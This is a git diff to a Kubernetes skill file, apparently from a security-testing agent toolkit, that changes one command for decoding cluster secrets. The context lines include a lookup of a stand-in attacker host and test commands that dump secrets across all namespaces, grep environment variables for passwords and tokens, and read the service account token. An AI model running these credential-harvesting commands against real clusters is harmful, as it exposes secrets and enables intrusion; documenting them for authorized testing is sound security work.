diff --git a/strix/skills/cloud/kubernetes.md b/strix/skills/cloud/kubernetes.md index e1097b30..eefd9486 100644 --- a/strix/skills/cloud/kubernetes.md +++ b/strix/skills/cloud/kubernetes.md @@ -110,7 +110,7 @@ nslookup attacker.com **Test:** ``` kubectl get secrets --all-namespaces -o json | jq '.items[].metadata.name' -kubectl get secret -o jsonpath='{.data}' | base64 -d +kubectl get secret -o json | jq '.data | map_values(@base64d)' env | grep -iE 'password|key|token|secret|credential' cat /var/run/secrets/kubernetes.io/serviceaccount/token ```